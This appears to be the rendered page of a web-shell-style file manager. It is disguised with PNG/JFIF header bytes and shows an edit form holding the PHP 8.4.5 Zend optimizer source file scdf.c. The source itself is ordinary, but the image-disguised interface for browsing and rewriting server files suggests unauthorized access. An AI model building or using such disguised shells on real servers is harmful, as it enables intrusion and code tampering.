�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2FZend%2F'>Zend</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2FZend%2FOptimizer%2F'>Optimizer</a>/</p><hr><h3>✏️ Editing: scdf.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
   +----------------------------------------------------------------------+
   | Zend Engine, Sparse Conditional Data Flow Propagation Framework      |
   +----------------------------------------------------------------------+
   | Copyright (c) The PHP Group                                          |
   +----------------------------------------------------------------------+
   | This source file is subject to version 3.01 of the PHP license,      |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | https://www.php.net/license/3_01.txt                                 |
   | If you did not receive a copy of the PHP license and are unable to   |
   | obtain it through the world-wide-web, please send a note to          |
   | license@php.net so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
   | Authors: Nikita Popov &lt;nikic@php.net&gt;                                |
   +----------------------------------------------------------------------+
*/

#include &quot;Optimizer/zend_optimizer_internal.h&quot;
#include &quot;Optimizer/scdf.h&quot;

/* This defines a generic framework for sparse conditional dataflow propagation. The algorithm is
 * based on &quot;Sparse conditional constant propagation&quot; by Wegman and Zadeck. We&#039;re using a
 * generalized implementation as described in chapter 8.3 of the SSA book.
 *
 * Every SSA variable is associated with an element on a finite-height lattice, those value can only
 * ever be lowered during the operation of the algorithm. If a value is lowered all instructions and
 * phis using that value need to be reconsidered (this is done by adding the variable to a
 * worklist). For phi functions the result is computed by applying the meet operation to the
 * operands. This continues until a fixed point is reached.
 *
 * The algorithm is control-flow sensitive: All blocks except the start block are initially assumed
 * to be unreachable. When considering a branch instruction, we determine the feasible successors
 * based on the current state of the variable lattice. If a new edge becomes feasible we either have
 * to mark the successor block executable and consider all instructions in it, or, if the target is
 * already executable, we only have to reconsider the phi functions (as we only consider phi
 * operands which are associated with a feasible edge).
 *
 * The generic framework requires the definition of three functions:
 * * visit_instr() should recompute the lattice values of all SSA variables defined by an
 *   instruction.
 * * visit_phi() should recompute the lattice value of the SSA variable defined by the phi. While
 *   doing this it should only consider operands for which scfg_is_edge_feasible() returns true.
 * * get_feasible_successors() should determine the feasible successors for a branch instruction.
 *   Note that this callback only needs to handle conditional branches (with two successors).
 */

#if 0
#define DEBUG_PRINT(...) fprintf(stderr, __VA_ARGS__)
#else
#define DEBUG_PRINT(...)
#endif

void scdf_mark_edge_feasible(scdf_ctx *scdf, int from, int to) {
	uint32_t edge = scdf_edge(&amp;scdf-&gt;ssa-&gt;cfg, from, to);

	if (zend_bitset_in(scdf-&gt;feasible_edges, edge)) {
		/* We already handled this edge */
		return;
	}

	DEBUG_PRINT(&quot;Marking edge %d-&gt;%d feasible\n&quot;, from, to);
	zend_bitset_incl(scdf-&gt;feasible_edges, edge);

	if (!zend_bitset_in(scdf-&gt;executable_blocks, to)) {
		if (!zend_bitset_in(scdf-&gt;block_worklist, to)) {
			DEBUG_PRINT(&quot;Adding block %d to worklist\n&quot;, to);
		}
		zend_bitset_incl(scdf-&gt;block_worklist, to);
	} else {
		/* Block is already executable, only a new edge became feasible.
		 * Reevaluate phi nodes to account for changed source operands. */
		zend_ssa_block *ssa_block = &amp;scdf-&gt;ssa-&gt;blocks[to];
		zend_ssa_phi *phi;
		for (phi = ssa_block-&gt;phis; phi; phi = phi-&gt;next) {
			zend_bitset_excl(scdf-&gt;phi_var_worklist, phi-&gt;ssa_var);
			scdf-&gt;handlers.visit_phi(scdf, phi);
		}
	}
}

void scdf_init(zend_optimizer_ctx *ctx, scdf_ctx *scdf, zend_op_array *op_array, zend_ssa *ssa) {
	scdf-&gt;op_array = op_array;
	scdf-&gt;ssa = ssa;

	scdf-&gt;instr_worklist_len = zend_bitset_len(op_array-&gt;last);
	scdf-&gt;phi_var_worklist_len = zend_bitset_len(ssa-&gt;vars_count);
	scdf-&gt;block_worklist_len = zend_bitset_len(ssa-&gt;cfg.blocks_count);

	scdf-&gt;instr_worklist = zend_arena_calloc(&amp;ctx-&gt;arena,
		scdf-&gt;instr_worklist_len + scdf-&gt;phi_var_worklist_len + 2 * scdf-&gt;block_worklist_len + zend_bitset_len(ssa-&gt;cfg.edges_count),
		sizeof(zend_ulong));

	scdf-&gt;phi_var_worklist = scdf-&gt;instr_worklist + scdf-&gt;instr_worklist_len;
	scdf-&gt;block_worklist = scdf-&gt;phi_var_worklist + scdf-&gt;phi_var_worklist_len;
	scdf-&gt;executable_blocks = scdf-&gt;block_worklist + scdf-&gt;block_worklist_len;
	scdf-&gt;feasible_edges = scdf-&gt;executable_blocks + scdf-&gt;block_worklist_len;

	zend_bitset_incl(scdf-&gt;block_worklist, 0);
	zend_bitset_incl(scdf-&gt;executable_blocks, 0);
}

void scdf_solve(scdf_ctx *scdf, const char *name) {
	zend_ssa *ssa = scdf-&gt;ssa;
	DEBUG_PRINT(&quot;Start SCDF solve (%s)\n&quot;, name);
	while (!zend_bitset_empty(scdf-&gt;instr_worklist, scdf-&gt;instr_worklist_len)
		|| !zend_bitset_empty(scdf-&gt;phi_var_worklist, scdf-&gt;phi_var_worklist_len)
		|| !zend_bitset_empty(scdf-&gt;block_worklist, scdf-&gt;block_worklist_len)
	) {
		int i;
		while ((i = zend_bitset_pop_first(scdf-&gt;phi_var_worklist, scdf-&gt;phi_var_worklist_len)) &gt;= 0) {
			zend_ssa_phi *phi = ssa-&gt;vars[i].definition_phi;
			ZEND_ASSERT(phi);
			if (zend_bitset_in(scdf-&gt;executable_blocks, phi-&gt;block)) {
				scdf-&gt;handlers.visit_phi(scdf, phi);
			}
		}

		while ((i = zend_bitset_pop_first(scdf-&gt;instr_worklist, scdf-&gt;instr_worklist_len)) &gt;= 0) {
			int block_num = ssa-&gt;cfg.map[i];
			if (zend_bitset_in(scdf-&gt;executable_blocks, block_num)) {
				zend_basic_block *block = &amp;ssa-&gt;cfg.blocks[block_num];
				zend_op *opline = &amp;scdf-&gt;op_array-&gt;opcodes[i];
				zend_ssa_op *ssa_op = &amp;ssa-&gt;ops[i];
				if (opline-&gt;opcode == ZEND_OP_DATA) {
					opline--;
					ssa_op--;
				}
				scdf-&gt;handlers.visit_instr(scdf, opline, ssa_op);
				if (i == block-&gt;start + block-&gt;len - 1) {
					if (block-&gt;successors_count == 1) {
						scdf_mark_edge_feasible(scdf, block_num, block-&gt;successors[0]);
					} else if (block-&gt;successors_count &gt; 1) {
						scdf-&gt;handlers.mark_feasible_successors(scdf, block_num, block, opline, ssa_op);
					}
				}
			}
		}

		while ((i = zend_bitset_pop_first(scdf-&gt;block_worklist, scdf-&gt;block_worklist_len)) &gt;= 0) {
			/* This block is now live. Interpret phis and instructions in it. */
			zend_basic_block *block = &amp;ssa-&gt;cfg.blocks[i];
			zend_ssa_block *ssa_block = &amp;ssa-&gt;blocks[i];

			DEBUG_PRINT(&quot;Pop block %d from worklist\n&quot;, i);
			zend_bitset_incl(scdf-&gt;executable_blocks, i);

			{
				zend_ssa_phi *phi;
				for (phi = ssa_block-&gt;phis; phi; phi = phi-&gt;next) {
					zend_bitset_excl(scdf-&gt;phi_var_worklist, phi-&gt;ssa_var);
					scdf-&gt;handlers.visit_phi(scdf, phi);
				}
			}

			if (block-&gt;len == 0) {
				/* Zero length blocks don&#039;t have a last instruction that would normally do this */
				scdf_mark_edge_feasible(scdf, i, block-&gt;successors[0]);
			} else {
				zend_op *opline = NULL;
				int j, end = block-&gt;start + block-&gt;len;
				for (j = block-&gt;start; j &lt; end; j++) {
					opline = &amp;scdf-&gt;op_array-&gt;opcodes[j];
					zend_bitset_excl(scdf-&gt;instr_worklist, j);
					if (opline-&gt;opcode != ZEND_OP_DATA) {
						scdf-&gt;handlers.visit_instr(scdf, opline, &amp;ssa-&gt;ops[j]);
					}
				}
				if (block-&gt;successors_count == 1) {
					scdf_mark_edge_feasible(scdf, i, block-&gt;successors[0]);
				} else if (block-&gt;successors_count &gt; 1) {
					ZEND_ASSERT(opline &amp;&amp; &quot;Should have opline in non-empty block&quot;);
					if (opline-&gt;opcode == ZEND_OP_DATA) {
						opline--;
						j--;
					}
					scdf-&gt;handlers.mark_feasible_successors(scdf, i, block, opline, &amp;ssa-&gt;ops[j-1]);
				}
			}
		}
	}
}

/* If a live range starts in a reachable block and ends in an unreachable block, we should
 * not eliminate the latter. While it cannot be reached, the FREE opcode of the loop var
 * is necessary for the correctness of temporary compaction. */
static bool is_live_loop_var_free(
		scdf_ctx *scdf, const zend_op *opline, const zend_ssa_op *ssa_op) {
	if (!zend_optimizer_is_loop_var_free(opline)) {
		return false;
	}

	int var = ssa_op-&gt;op1_use;
	if (var &lt; 0) {
		return false;
	}

	zend_ssa_var *ssa_var = &amp;scdf-&gt;ssa-&gt;vars[var];
	uint32_t def_block;
	if (ssa_var-&gt;definition &gt;= 0) {
		def_block = scdf-&gt;ssa-&gt;cfg.map[ssa_var-&gt;definition];
	} else {
		def_block = ssa_var-&gt;definition_phi-&gt;block;
	}
	return zend_bitset_in(scdf-&gt;executable_blocks, def_block);
}

static bool kept_alive_by_loop_var_free(scdf_ctx *scdf, const zend_basic_block *block) {
	const zend_op_array *op_array = scdf-&gt;op_array;
	const zend_cfg *cfg = &amp;scdf-&gt;ssa-&gt;cfg;
	if (!(cfg-&gt;flags &amp; ZEND_FUNC_FREE_LOOP_VAR)) {
		return false;
	}

	for (uint32_t i = block-&gt;start; i &lt; block-&gt;start + block-&gt;len; i++) {
		if (is_live_loop_var_free(scdf, &amp;op_array-&gt;opcodes[i], &amp;scdf-&gt;ssa-&gt;ops[i])) {
			return true;
		}
	}
	return false;
}

static uint32_t cleanup_loop_var_free_block(scdf_ctx *scdf, zend_basic_block *block) {
	zend_ssa *ssa = scdf-&gt;ssa;
	const zend_op_array *op_array = scdf-&gt;op_array;
	const zend_cfg *cfg = &amp;ssa-&gt;cfg;
	int block_num = block - cfg-&gt;blocks;
	uint32_t removed_ops = 0;

	/* Removes phi nodes */
	for (zend_ssa_phi *phi = ssa-&gt;blocks[block_num].phis; phi; phi = phi-&gt;next) {
		zend_ssa_remove_uses_of_var(ssa, phi-&gt;ssa_var);
		zend_ssa_remove_phi(ssa, phi);
	}

	for (uint32_t i = block-&gt;start; i &lt; block-&gt;start + block-&gt;len; i++) {
		zend_op *opline = &amp;op_array-&gt;opcodes[i];
		zend_ssa_op *ssa_op = &amp;scdf-&gt;ssa-&gt;ops[i];
		if (opline-&gt;opcode == ZEND_NOP
		 || is_live_loop_var_free(scdf, opline, ssa_op)) {
			continue;
		}

		/* While we have to preserve the loop var free, we can still remove other instructions
		 * in the block. */
		zend_ssa_remove_defs_of_instr(ssa, ssa_op);
		zend_ssa_remove_instr(ssa, opline, ssa_op);
		removed_ops++;
	}

	zend_ssa_remove_block_from_cfg(ssa, block_num);

	return removed_ops;
}

/* Removes unreachable blocks. This will remove both the instructions (and phis) in the
 * blocks, as well as remove them from the successor / predecessor lists and mark them
 * unreachable. Blocks already marked unreachable are not removed. */
uint32_t scdf_remove_unreachable_blocks(scdf_ctx *scdf) {
	zend_ssa *ssa = scdf-&gt;ssa;
	int i;
	uint32_t removed_ops = 0;
	for (i = 0; i &lt; ssa-&gt;cfg.blocks_count; i++) {
		zend_basic_block *block = &amp;ssa-&gt;cfg.blocks[i];
		if (!zend_bitset_in(scdf-&gt;executable_blocks, i) &amp;&amp; (block-&gt;flags &amp; ZEND_BB_REACHABLE)) {
			if (!kept_alive_by_loop_var_free(scdf, block)) {
				removed_ops += block-&gt;len;
				zend_ssa_remove_block(scdf-&gt;op_array, ssa, i);
			} else {
				removed_ops += cleanup_loop_var_free_block(scdf, block);
			}
		}
	}
	return removed_ops;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2FZend%2FOptimizer'>🔙 Back</a></p>